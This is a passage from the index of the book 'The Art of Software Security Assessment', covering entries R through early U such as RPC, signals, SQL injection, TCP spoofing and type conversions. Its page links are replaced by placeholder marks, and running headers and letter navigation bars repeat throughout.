DNS (Domain Name System)(? [????.]) resource limits, UNIX(? [????.]) resource records, DNS (Domain Name System)(? [????.]) 2nd(? [????.]) conventions(? [????.]) responses (HTTP)(? [????.]) spoofing for(? [????.]) REST (Representational State Transfer)(? [????.]) restricted accounts, operational vulnerabilities, preventing(? [????.]) restricted tokens, Windows NT sessions, access tokens(? [????.]) retention, process attributes, UNIX(? [????.]) retrieve_data( ) function(? [????.]) Retry-After header field (HTTP)(? [????.]) Return Value Checking of MultiByteToWideChar( ) listing (8-29)(? [????.]) return value testing, functions(? [????.]) return values, functions finding(? [????.]) ignoring(? [????.]) misinterpreting(? [????.]) reuse code(? [????.]) UNIX temporary files(? [????.]) reverse-engineering applications(? [????.]) reviewing code(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1210 application review phase(? [????.]) 2nd(? [????.]) 3rd(? [????.]) bottom-up approach(? [????.]) hybrid approach(? [????.]) iterative process(? [????.]) peer reviews(? [????.]) planning(? [????.]) reevaluation(? [????.]) status checks(? [????.]) top-down approach(? [????.]) working papers(? [????.]) code auditing(? [????.]) 2nd(? [????.]) 3rd(? [????.]) binary navigation tools(? [????.]) CC (code comprehension) strategies(? [????.]) 2nd(? [????.]) CP (candidate point) strategies(? [????.]) 2nd(? [????.]) 3rd(? [????.]) debuggers(? [????.]) dependency alnalysis(? [????.]) desk checking(? [????.]) DG (design generalization) strategies(? [????.]) 2nd(? [????.]) fuzz testing tools(? [????.]) internal flow analysis(? [????.]) OpenSSH case study(? [????.]) rereading code(? [????.]) scorecard(? [????.]) source code navigators(? [????.]) subsystem alnalysis(? [????.]) test cases(? [????.]) 2nd(? [????.]) code navigation(? [????.]) external flow sensitivity(? [????.]) tracing(? [????.]) documentation and analysis phase(? [????.]) 2nd(? [????.]) findings summary(? [????.]) preassessment phase(? [????.]) application access(? [????.]) information collection(? [????.]) scoping(? [????.]) process outline(? [????.]) remediation support phase(? [????.]) 2nd(? [????.]) Rey, Enno(? [????.]) rfork( ) function(? [????.]) RFP (Rain Forest Puppy)(? [????.]) Right Shift Vulnerability Example listing (6-26)(? [????.]) right shift, operators(? [????.]) 2nd(? [????.]) risks, DREAD risk ratings(? [????.]) root directories, UNIX(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1211 routers(? [????.]) RPC (Remote Procedure Calls) servers(? [????.]) authentication(? [????.]) endpoints(? [????.]) binding to(? [????.]) interfaces, registering(? [????.]) requests, listening to(? [????.]) RpcBindingInqAuthClient( ) function(? [????.]) RPCs (Remote Procedure Calls) UNIX(? [????.]) authentication(? [????.]) decoding routines(? [????.]) definition files(? [????.]) Windows NT ACFs (application configuration files)(? [????.]) application audits(? [????.]) connections(? [????.]) context handles(? [????.]) DCE (Distributed Computing Environment) RPCs(? [????.]) IDL file structure(? [????.]) impersonation(? [????.]) IPC (interprocess communications)(? [????.]) MIDL (Microsoft Interface Definition Language)(? [????.]) ONC (Open Network Computing) RPCs(? [????.]) proprietary state mechanisms(? [????.]) RPC servers(? [????.]) threading(? [????.]) transports(? [????.]) RpcServerListen( ) function(? [????.]) RpcServerRegisterAuthInfo( ) function(? [????.]) RpcServerRegisterIf( ) function(? [????.]) RpcServerRegisterIfEx( ) function(? [????.]) RpcServerUseProtseq( ) function(? [????.]) RpcServerUseProtseqEx( ) function(? [????.]) running code, auditing(? [????.]) runtime stack, activation records(? [????.]) Russinovich, Mark E.(? [????.]) 2nd(? [????.]) 10.20 S Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1212 [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] sa_handler(? [????.]) Sacerdote, David(? [????.]) SAFER (Software Restriction Policies) API, Windows NT sessions, access tokens(? [????.]) SafeSEH(? [????.]) salt values(? [????.]) sandboxing(? [????.]) SAPI_POST_READER_FUNC( ) function(? [????.]) saved set groups (UNIX)(? [????.]) saved set users (UNIX)(? [????.]) saved set-user-IDs (UNIX)(? [????.]) saved-set-group-IDs (UNIX)(? [????.]) /sbin directory (UNIX)(? [????.]) scanf( ) functions(? [????.]) scanning(? [????.]) TCP packets(? [????.]) Schneier, Bruce(? [????.]) SCM (Services Control Manager)(? [????.]) SCO(? [????.]) scoping, code review(? [????.]) scorecards, code audits(? [????.]) script URI(? [????.]) SCRIPT_NAME (environment variable)(? [????.]) scripts server-side scripting(? [????.]) XSS (cross-site scripting)(? [????.]) SDLC (Systems Development Life Cycle), code audits(? [????.]) SEARCH method(? [????.]) search_orders( ) function(? [????.]) second order injection(? [????.]) second-order injection attacks(? [????.]) secondary groups, UNIX(? [????.]) securable objects, Windows NT(? [????.]) secure channels(? [????.]) Secure Programming(? [????.]) Secure Socket Layer/Transport Layer Security (SSL/TLS)(? [????.]) 2nd(? [????.]) Secure Sockets Layer (SSL) [See SSL (Secure Sockets Layer)(? [????.]).] securelevels (BSD)(? [????.]) security access control(? [????.]) C/C++ problems(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1213 expectations(? [????.]) OS and file system interaction(? [????.]) execution(? [????.]) file uploading(? [????.]) null bytes(? [????.]) path traversal(? [????.]) programmatic SSI(? [????.]) phishing and impersonation(? [????.]) policies, enforcing(? [????.]) SQL injection(? [????.]) parameterized queries(? [????.]) prepared statements(? [????.]) second order injection(? [????.]) stored procedures(? [????.]) testing for(? [????.]) threading issues(? [????.]) Web environments(? [????.]) XML injection(? [????.]) XPath injection(? [????.]) XSS (cross-site scripting)(? [????.]) security association (SA) payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) Security Association and Key Management Protocol (ISAKMP) [See ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]).] security breaches, policy breaches, compared(? [????.]) security descriptors, Windows NT(? [????.]) access masks(? [????.]) ACL inheritance(? [????.]) ACL permissions(? [????.]) programming interfaces(? [????.]) strings(? [????.]) segmentation (network)(? [????.]) layer 1 (physical)(? [????.]) layer 2 (data link)(? [????.]) layer 3 (network)(? [????.]) layer 4 (transport)(? [????.]) layer 5 (session)(? [????.]) layer 6 (presentation)(? [????.]) layer 7 (application)(? [????.]) segments, TCP (Transmission Control Protocol)(? [????.]) SEH (structured exception handling) attacks(? [????.]) 2nd(? [????.]) SelimpersonatePrivilege, IPC (interprocess communications)(? [????.]) semaphore sets(? [????.]) semaphores The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1214 System V IPC(? [????.]) Windows NT(? [????.]) semget( ) function(? [????.]) sending signals(? [????.]) Sendmail crackaddr( ) function, vunerabilities(? [????.]) prescan sign extension vunerability(? [????.]) return values, update vunerability(? [????.]) Sendmail crackaddr( ) Related Variables Vulnerability listing (7-3)(? [????.]) Sendmail Return Value Update Vulnerability listing (7-32)(? [????.]) sentinel nodes(? [????.]) sequence numbers, TCP (Transmission Control Protocol)(? [????.]) Server header field (HTTP)(? [????.]) Server Message Blocks (SMBs)(? [????.]) 2nd(? [????.]) server-side includes (SSIs)(? [????.]) server-side scripting(? [????.]) server-side transformation(? [????.]) SERVER_NAME (environment variable)(? [????.]) SERVER_PORT (environment variable)(? [????.]) SERVER_PROTOCOL (environment variable)(? [????.]) SERVER_SOFTWARE (environment variable)(? [????.]) servers automation servers(? [????.]) name servers, DNS (Domain Name System)(? [????.]) pipe squatting(? [????.]) Web servers APIs(? [????.]) server-side scripting(? [????.]) server-side transformation(? [????.]) SSIs (server-side includes)(? [????.]) service image paths(? [????.]) service-oriented architecture (SOA)(? [????.]) services, Windows NT(? [????.]) servlets [See Java servlets(? [????.]).] session credentials, redirector(? [????.]) session layer, network segmentation(? [????.]) session tokens(? [????.]) 2nd(? [????.]) sessions HTTP(? [????.]) 2nd(? [????.]) security vulnerabilities(? [????.]) session management(? [????.]) session tokens(? [????.]) UNIX, process sessions(? [????.]) Windows NT(? [????.]) 2nd(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1215 access tokens(? [????.]) 2nd(? [????.]) logon rights(? [????.]) SIDs (security IDs)(? [????.]) setegid( ) function(? [????.]) setenv( ) function(? [????.]) 2nd(? [????.]) Setenv( ) Vulnerabilty in BSD listing (10-2)(? [????.]) seteuid( ) function(? [????.]) setgid (set-group-id), UNIX(? [????.]) setgid programs (UNIX)(? [????.]) setgid( ) function(? [????.]) setgroups( ) function(? [????.]) setjump( ) function(? [????.]) setregid( ) function(? [????.]) setresgid( ) function(? [????.]) setresuid( ) function(? [????.]) setreuid( ) function(? [????.]) setrlimit( ) function(? [????.]) SetThreadToken( ) function(? [????.]) settings, default settings, insecure defaults(? [????.]) setuid (set-user-id), UNIX(? [????.]) setuid programs (UNIX)(? [????.]) setuid root programs (UNIX)(? [????.]) setuid( ) function(? [????.]) 2nd(? [????.]) SGML (Standard Generalized Markup Language)(? [????.]) shadow password files, UNIX(? [????.]) shared key encryption(? [????.]) shared libraries(? [????.]) shared memory blocks(? [????.]) shared memory segments(? [????.]) synchronization(? [????.]) shared memory, multiple processes(? [????.]) sharing files, UNIX(? [????.]) shatter attacks, Windows messaging(? [????.]) SHELL environment variable (UNIX)(? [????.]) shell environment variables, UNIX(? [????.]) shell histories, UNIX(? [????.]) shell invocation ASP(? [????.]) ASP.NET(? [????.]) Java servlets(? [????.]) Perl(? [????.]) PHP(? [????.]) 2nd(? [????.]) shell login scripts, UNIX(? [????.]) shell logout scripts, UNIX(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1216 Shell Metacharacter Injection Vulnerability listing (8-18)(? [????.]) shell metacharacters(? [????.]) shellcode(? [????.]) 2nd(? [????.]) Shellcoder's Handbook, The(? [????.]) 2nd(? [????.]) ShellExecute( ) function(? [????.]) ShellExecuteEx( ) function(? [????.]) shells, UNIX users(? [????.]) side-effects, functions auditing(? [????.]) referentially opaque side effects(? [????.]) referentially transparent side effects(? [????.]) SIDs (security IDs), Windows NT(? [????.]) siglongjump( ) function(? [????.]) sign bit arithmetic schemes(? [????.]) signed integer types(? [????.]) Sign Extension Vulnerability Example listing (6-12)(? [????.]) sign extensions(? [????.]) type conversions(? [????.]) truncation(? [????.]) Sign-Extension Example listing (6-14)(? [????.]) Sign-Preserving Right Shift listing (6-25)(? [????.]) signal handler scoreboard(? [????.]) Signal Interruption listing (13-1)(? [????.]) signal marks(? [????.]) signal masks(? [????.]) Signal Race Vulnerability in WU-FTPD listing (13-2)(? [????.]) signal( ) function(? [????.]) 2nd(? [????.]) signals(? [????.]) asynchronous-safe function(? [????.]) 2nd(? [????.]) 3rd(? [????.]) default actions(? [????.]) handling(? [????.]) interruptions(? [????.]) 2nd(? [????.]) jump locations(? [????.]) non-returning signal handlers(? [????.]) 2nd(? [????.]) repetition(? [????.]) sending(? [????.]) signal handler scoreboard(? [????.]) signal masks(? [????.]) vunerabilities(? [????.]) 2nd(? [????.]) signature payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) signatures, cryptographic signatures(? [????.]) Signed Comparison Example in PHP listing (6-23)(? [????.]) Signed Comparison Vulnerability Example listing (6-7)(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1217 Signed Comparison Vulnerability listing (6-21)(? [????.]) signed integer types, C programming language(? [????.]) Signed Integer Vulnerability Example listing (6-5)(? [????.]) signed integers boundaries(? [????.]) conversions(? [????.]) vunerabilities(? [????.]) narrowing(? [????.]) sign bit, arithmetic schemes(? [????.]) widening(? [????.]) signing Active X controls(? [????.]) sigsetjump( ) function(? [????.]) SIGSTOP default action(? [????.]) simple binary CPs (candidate points)(? [????.]) simple lexical CPs (candidate points)(? [????.]) Simple Mail Transfer Protocol (SMTP)(? [????.]) Simple Nonterminating Buffer Overflow Loop listing (7-15)(? [????.]) Simple Object Access Protocol (SOAP)(? [????.]) simple type conversions, C programming language(? [????.]) single sign-on (SSO) system(? [????.]) single-threaded apartment (STA), COM (Component Object Model)(? [????.]) singly linked lists(? [????.]) site-restricted controls, Active X(? [????.]) size, operators, vunerabilities(? [????.]) Sizeof Misuse Vulnerability Example listing (6-24)(? [????.]) sizeof( ) function(? [????.]) 2nd(? [????.]) SMB relay attacks(? [????.]) SMBs (Server Message Blocks)(? [????.]) 2nd(? [????.]) SMTP (Simple Mail Transfer Protocol)(? [????.]) sniffing attacks(? [????.]) snort reassembly vunerability, TCP (Transmission Control Protocol)(? [????.]) snprintf( ) function(? [????.]) 2nd(? [????.]) 3rd(? [????.]) Snyder, Window(? [????.]) SOA (service-oriented architecture)(? [????.]) SOAP (Simple Object Access Protocol)(? [????.]) socketpair( ) function(? [????.]) 2nd(? [????.]) soft links, UNIX files(? [????.]) 2nd(? [????.]) software(? [????.]) requirements(? [????.]) security expectations(? [????.]) specifications(? [????.]) vulnerabilities(? [????.]) 2nd(? [????.]) bugs(? [????.]) classifying(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1218 data flow(? [????.]) design vunerabilities(? [????.]) environmental attacks(? [????.]) exceptional conditions(? [????.]) implementation vunerabilities(? [????.]) input(? [????.]) interfaces(? [????.]) operational vunerabilities(? [????.]) security policies(? [????.]) trust relationships(? [????.]) software design(? [????.]) abstraction(? [????.]) accuracy(? [????.]) algorithms(? [????.]) application architecture modeling(? [????.]) clarity(? [????.]) decomposition(? [????.]) failure handling(? [????.]) loose coupling(? [????.]) strong cohesion(? [????.]) strong coupling exploitation(? [????.]) threat modeling(? [????.]) information collection(? [????.]) transitive trust exploitation(? [????.]) trust relationships(? [????.]) chain of trust relationships(? [????.]) complex trust boundaries(? [????.]) defense in depth(? [????.]) simple trust boundaries(? [????.]) Software Restriction Policies (SAFER) API [See SAFER (Software Restriction Policies) API, Windows NT sessions, access tokens(? [????.]).] Solaris(? [????.]) Solomon, David A.(? [????.]) 2nd(? [????.]) Song, Dug(? [????.]) source code audits, COM (Component Object Model)(? [????.]) source code navigators, code audits(? [????.]) Code Surfer(? [????.]) Cscope(? [????.]) Ctags(? [????.]) Source Navigator(? [????.]) Understand(? [????.]) source code, profiling(? [????.]) Source Navigator(? [????.]) source routing The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1219 IP (Internet Protocol)(? [????.]) packets(? [????.]) source-only application access(? [????.]) SPACEJUMP method(? [????.]) specialization approach, application review(? [????.]) specifications, software(? [????.]) SPIKE fuzz testing tool(? [????.]) spoofing(? [????.]) DNS (Domain Name System)(? [????.]) TCP streams(? [????.]) blind connection spoofing(? [????.]) spoofing attacks, firewalls(? [????.]) 2nd(? [????.]) close spoofing(? [????.]) distant spoofing(? [????.]) encapsulation(? [????.]) source routing(? [????.]) sprintf( ) functions(? [????.]) 2nd(? [????.]) 3rd(? [????.]) SQL (Structured Query Langauge) queries, metacharacters(? [????.]) SQL injection(? [????.]) ASP(? [????.]) 2nd(? [????.]) ASP.NET(? [????.]) Java servlets(? [????.]) parameterized queries(? [????.]) Perl(? [????.]) PHP(? [????.]) prepared statements(? [????.]) second order injection(? [????.]) stored procedures(? [????.]) testing for(? [????.]) SQL Injection Vulnerability listing (8-20)(? [????.]) SQL Truncation Vulnerability listing (8-21)(? [????.]) SSIs (server-side includes)(? [????.]) SSL (Secure Sockets Layer)(? [????.]) SSL/TLS (Secure Socket Layer/Transport Layer Security)(? [????.]) SSL/TLS (Secure Sockets Layer/Transport Layer Security)(? [????.]) SSO (single sign-on) system(? [????.]) STA (single-threaded apartment), COM (Component Object Model)(? [????.]) stack cookies(? [????.]) stack overflows(? [????.]) stack protection, operational vulnerabilities, preventing(? [????.]) Stackguard, stack cookies(? [????.]) stacks ADT (abstract data type)(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1220 EBP (extended base pointer)(? [????.]) ESP (extended stack pointer)(? [????.]) nonexecutable stacks(? [????.]) stack protection(? [????.]) Standard Generalized Markup Language (SGML)(? [????.]) standards documentation(? [????.]) standards, C programming language(? [????.]) starvation, threads(? [????.]) 2nd(? [????.]) Starzetz, Paul(? [????.]) 2nd(? [????.]) stat( ) function(? [????.]) state mechanisms, RPCs (Remote Procedure Calls)(? [????.]) state processing, TCP (Transmission Control Protocol)(? [????.]) state tables(? [????.]) spoofing(? [????.]) state, maintaining(? [????.]) client IP addresses(? [????.]) cookies(? [????.]) embedding state in HTML and URLs(? [????.]) HTTP authentication(? [????.]) 2nd(? [????.]) Referer request headers(? [????.]) sessions(? [????.]) 2nd(? [????.]) security vulnerabilities(? [????.]) session management(? [????.]) session tokens(? [????.]) stateful versus stateless systems(? [????.]) stateful firewalls(? [????.]) directionality(? [????.]) fragmentation(? [????.]) stateful inspection firewalls(? [????.]) TCP (Transport Control Protocol)(? [????.]) UDP (User Datagram Protocol)(? [????.]) stateful inspection firewalls(? [????.]) layering(? [????.]) stateful packet filters(? [????.]) stateful systems(? [????.]) stateless firewalls(? [????.]) fragmentation(? [????.]) FTP (File Transfer Protocol)(? [????.]) TCP (Transmission Control Protocol)(? [????.]) UDP (User Datagram Protocol)(? [????.]) stateless packet filters(? [????.]) stateless systems(? [????.]) statements break statements, omissions(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1221 flow transfer statements, auditing(? [????.]) out-of-order statements(? [????.]) prepared statements(? [????.]) switch statements, auditing(? [????.]) states, TCP connections(? [????.]) static content(? [????.]) static variables(? [????.]) status checks, application review(? [????.]) stdio file system, files closing(? [????.]) opening(? [????.]) reading(? [????.]) writing to(? [????.]) Stevens, Ted(? [????.]) Stevens, W. Richard(? [????.]) Stickley, Jim(? [????.]) storage, C programming language(? [????.]) stored procedures(? [????.]) strcat( ) function(? [????.]) strcpy( ) functions(? [????.]) 2nd(? [????.]) Strcpy( )-like Loop listing (8-3)(? [????.]) stream ciphers, encryption(? [????.]) streams (file), Windows NT(? [????.]) streams, TCP (Transmission Control Protocol)(? [????.]) 2nd(? [????.]) blind connection spoofing(? [????.]) blind data injection attacks(? [????.]) blind reset attacks(? [????.]) connection fabrication(? [????.]) connection tampering(? [????.]) spoofing(? [????.]) strict black box application access(? [????.]) strict context handles, RPCs (Remote Procedure Calls)(? [????.]) strings(? [????.]) bounded string functions(? [????.]) 2nd(? [????.]) character expansion(? [????.]) format strings(? [????.]) handling, C programming language(? [????.]) pointers incorrect increments(? [????.]) typos(? [????.]) unbounded copies(? [????.]) unbounded string functions(? [????.]) Windows NT security descriptors(? [????.]) strlcat( ) function(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1222 strlcpy( ) function(? [????.]) strlen( ) function(? [????.]) strncat( ) function(? [????.]) strncpy( ) function(? [????.]) 2nd(? [????.]) strong cohesion, software design(? [????.]) strong coupling, software design exploitation(? [????.]) strongly coupled modules(? [????.]) Structure Padding in a Network Protocol listing (6-32)(? [????.]) structure padding, C programming language(? [????.]) structured exception handling (SHE) attacks(? [????.]) structures, variables, management(? [????.]) Struts framework(? [????.]) stub resolvers (DNS)(? [????.]) stubs, COM (Component Object Model)(? [????.]) subdomains(? [????.]) subnet addresses(? [????.]) subsystem access permissions, DCOM (Distributed Component Object Model)(? [????.]) subsystem alnalysis, code audits(? [????.]) superusers, UNIX(? [????.]) supplemental group privileges, UNIX, dropping permanently(? [????.]) supplemental groups, UNIX(? [????.]) 2nd(? [????.]) 3rd(? [????.]) Swiderski, Frank(? [????.]) switch statements auditing(? [????.]) C programming language(? [????.]) switching(? [????.]) symbolic links, UNIX files(? [????.]) 2nd(? [????.]) SymbolicLink objects(? [????.]) symmetric encryption(? [????.]) block ciphers(? [????.]) synchronization(? [????.]) APCs (asynchronous procedure calls)(? [????.]) deadlocks(? [????.]) 2nd(? [????.]) multithreaded programs(? [????.]) process synchronization(? [????.]) interprocess synchronization(? [????.]) lock matching(? [????.]) synchronization object scoreboard(? [????.]) System V synchronization(? [????.]) Windows NT synchronization(? [????.]) race conditions(? [????.]) reentrancy(? [????.]) shared memory segments(? [????.]) signals(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1223 asynchronous-safe function(? [????.]) 2nd(? [????.]) 3rd(? [????.]) default actions(? [????.]) handling(? [????.]) interruptions(? [????.]) 2nd(? [????.]) jump locations(? [????.]) non-returning signal handlers(? [????.]) 2nd(? [????.]) repetition(? [????.]) sending(? [????.]) signal handler scoreboard(? [????.]) signal masks(? [????.]) vunerabilities(? [????.]) 2nd(? [????.]) starvation(? [????.]) threads deadlocks(? [????.]) PThreads API(? [????.]) race conditions(? [????.]) starvation(? [????.]) Windows API(? [????.]) synchronization object scoreboard(? [????.]) syntax highlighting(? [????.]) synthesized request variables(? [????.]) SysInternals(? [????.]) syslog( ) function(? [????.]) system call gateways(? [????.]) system configuration files, UNIX(? [????.]) system file table, UNIX(? [????.]) system objects, Windows NT(? [????.]) system profiling(? [????.]) system resources, access, auditing(? [????.]) System V-IPC mechanisms process synchronization(? [????.]) semaphores(? [????.]) UNIX(? [????.]) system virtualization(? [????.]) system( ) function(? [????.]) 10.21 T Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1224 [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] tables, auditing(? [????.]) 2nd(? [????.]) taint mode, Perl(? [????.]) tampering TCP connections(? [????.]) TCP (Transmission Control Protocol)(? [????.]) 2nd(? [????.]) connections(? [????.]) 2nd(? [????.]) closing(? [????.]) establishing(? [????.]) flags(? [????.]) resetting(? [????.]) states(? [????.]) header validation(? [????.]) headers(? [????.]) options, processing(? [????.]) processing(? [????.]) sequence number boundary condition(? [????.]) sequence number representation(? [????.]) state processing(? [????.]) URG pointer processing(? [????.]) window scale option(? [????.]) segments(? [????.]) stateful firewalls(? [????.]) stateless firewalls(? [????.]) streams(? [????.]) 2nd(? [????.]) blind connection spoofing(? [????.]) blind data injection attacks(? [????.]) blind reset attacks(? [????.]) connection fabrication(? [????.]) connection tampering(? [????.]) spoofing(? [????.]) TCP/IP(? [????.]) TCP/IP Illustrated, Volume 1(? [????.]) 2nd(? [????.]) TE header field (HTTP)(? [????.]) teardrop vunerability, Linux(? [????.]) tempnam( ) function(? [????.]) temporary files, UNIX(? [????.]) directory cleaners(? [????.]) file reuse(? [????.]) unique creation(? [????.]) terminal devices(? [????.]) terminal emulation software(? [????.]) terminals, UNIX, process terminals(? [????.]) TerminateThread( ) function(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1225 terminating conditions, loops(? [????.]) termination, UNIX processes(? [????.]) test cases, code audits(? [????.]) constraint establishment(? [????.]) extraneous input thinning(? [????.]) multiple inputs(? [????.]) unconstrained data types(? [????.]) testing black box testing(? [????.]) for SQL injection(? [????.]) SDLC (Systems Development Life Cycle)(? [????.]) Web applications(? [????.]) text character sets(? [????.]) metacharacters(? [????.]) 2nd(? [????.]) embedded dilimiters(? [????.]) filtering(? [????.]) format strings(? [????.]) formats(? [????.]) NUL-byte injection(? [????.]) path metacharacters(? [????.]) Perl open( ) function(? [????.]) shell metacharacters(? [????.]) SQL queries(? [????.]) truncation(? [????.]) Unicode(? [????.]) character equivalence(? [????.]) code page assumptions(? [????.]) decoding(? [????.]) homographic attacks(? [????.]) NUL-termination(? [????.]) UTF-16 encoding(? [????.]) UTF-8 encoding(? [????.]) Windows functions(? [????.]) text strings(? [????.]) bounded string functions(? [????.]) 2nd(? [????.]) character expansion(? [????.]) format strings(? [????.]) handling, C programming language(? [????.]) pointers, incorrect increments(? [????.]) typos(? [????.]) unbounded copies(? [????.]) unbounded string functions(? [????.]) text-based protocols, data types, matching(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1226 Text-Processing Error in Apache mod_mime listing (8-7)(? [????.]) TEXTSEARCH method(? [????.]) tgetent( ) function(? [????.]) third-party evaluations(? [????.]) third-party preliminary evaluations(? [????.]) third-party product range comparisons(? [????.]) Thompson, Hunter S.(? [????.]) 2nd(? [????.]) Thompson, Ken(? [????.]) threading(? [????.]) Active X(? [????.]) COM (Component Object Model)(? [????.]) Java servlets(? [????.]) RPCs (Remote Procedure Calls)(? [????.]) threads multithreaded programs, synchronicity(? [????.]) starvation(? [????.]) synchronicity deadlocks(? [????.]) PThreads API(? [????.]) race conditions(? [????.]) starvation(? [????.]) Windows API(? [????.]) Windows NT(? [????.]) threat identification(? [????.]) threat mitigation(? [????.]) Threat Modeling(? [????.]) threat modeling(? [????.]) application architecture modeling(? [????.]) automatic threat modeling(? [????.]) code audits, DG (design generalization) strategy(? [????.]) findings, documenting(? [????.]) information collection(? [????.]) threat identification(? [????.]) three-way handshakes, TCP connections(? [????.]) Thumann, Michael(? [????.]) time( ) functions(? [????.]) tmpfile( ) function(? [????.]) tmpnam( ) function(? [????.]) TOCTOU (time to check to time of use) junction points(? [????.]) UNIX file system(? [????.]) tokens creating, password requirements(? [????.]) session tokens(? [????.]) 2nd(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1227 tools code audits(? [????.]) binary navigation tools(? [????.]) debuggers(? [????.]) fuzz testing tools(? [????.]) OpenSSH case study(? [????.]) source code navigators(? [????.]) UNIX(? [????.]) top-down approach, application review(? [????.]) top-down progression(? [????.]) toupper( ) function(? [????.]) TRACE method(? [????.]) tracing black box hits(? [????.]) code(? [????.]) malicious input(? [????.]) Trailer header field (HTTP)(? [????.]) Transfer-Encoding header field (HTTP)(? [????.]) transform payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) transformations, XSLT (Extensible Stylesheet Language Transformation)(? [????.]) transitive trusts, exploiting(? [????.]) Transmission Control Protocol (TCP)(? [????.]) transport layer, network segmentation(? [????.]) transports, RPCs (Remote Procedure Calls)(? [????.]) truncation file paths(? [????.]) integer types(? [????.]) metacharacters(? [????.]) NFS(? [????.]) sign extensions(? [????.]) Truncation Vulnerability Example in NFS listing (6-16)(? [????.]) Truncation Vulnerabilty Example listing (6-17)(? [????.]) trust boundaries(? [????.]) complex trust boundaries(? [????.]) simple trust boundaries(? [????.]) trust domains(? [????.]) trust models(? [????.]) trust relationships software design(? [????.]) chain of trust rleationships(? [????.]) complex trust boudaries(? [????.]) defense in depth(? [????.]) simple trust boudaries(? [????.]) vulnerabilities(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1228 trusted authorities(? [????.]) trusts, transitive trusts, exploiting(? [????.]) try_lib( ) function(? [????.]) Twos Complement Representation of -15 listing (6-1)(? [????.]) type coercions [See type conversions, C programming language(? [????.]).] type confusion(? [????.]) 2nd(? [????.]) Type Confusion listing (7-11)(? [????.]) type conversions, C programming language(? [????.]) assignment operators(? [????.]) comparisons(? [????.]) conversion rules(? [????.]) default type conversions(? [????.]) explicit type conversions(? [????.]) floating point types(? [????.]) function prototypes(? [????.]) implicit type conversions(? [????.]) integer promotions(? [????.]) narrowing(? [????.]) sign extensions(? [????.]) simple conversions(? [????.]) typecasts(? [????.]) usual arithmetic conversions(? [????.]) value preservation(? [????.]) vunerabilities(? [????.]) widening(? [????.]) type libraries, COM (Component Object Model)(? [????.]) 2nd(? [????.]) typecasts, C programming language(? [????.]) types, C programming language(? [????.]) typos C programming language(? [????.]) loops(? [????.]) text strings(? [????.]) 10.22 U Index [SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? [????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? [????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? [????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])] UDP (User Datagram Protocol)(? [????.]) 2nd(? [????.]) The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 1229 header validation(? [????.]) stateful firewalls(? [????.]) stateless firewalls(? [????.]) UIDs (user IDs), UNIX(? [????.]) 2nd(? [????.]) UML (Unified Markup Language)(? [????.]) class diagrams(? [????.]) component diagrams(? [????.]) use cases(? [????.]) UN*X(? [????.]) unary + operator, C programming language(? [????.]) unary operator, C programming language(? [????.]) unary operator, C programming language(? [????.]) unbounded copies, strings(? [????.]) unbounded string functions(? [????.]) UNC (Universal Naming Convetion), redirector(? [????.]) unconstrained data types, test cases, code audits(? [????.]) undefined behavior, C programming language(? [????.]) underflow, unsigned integers(? [????.]) Understand source code navigator(? [????.]) Unexpected Return Values listing (7-29)(? [????.]) Unicode(? [????.]) character equivalence(? [????.]) code page assumptions(? [????.]) decoding(? [????.]) homographic attacks(? [????.]) NUL-termination(? [????.]) UTF-16 encoding(? [????.]) UTF-8 encoding(? [????.]) Windows functions(? [????.]) Unicos(? [????.]) Unified Markup Language (UML) [See UML (Unified Markup Language)(? [????.]).] Uniform Resource Identifiers (URIs)(? [????.]) Uninformed magazine(? [????.]) Uninitialized Memory Buffer listing (7-7)(? [????.]) Uninitialized Object Attributes listing (7-8)(? 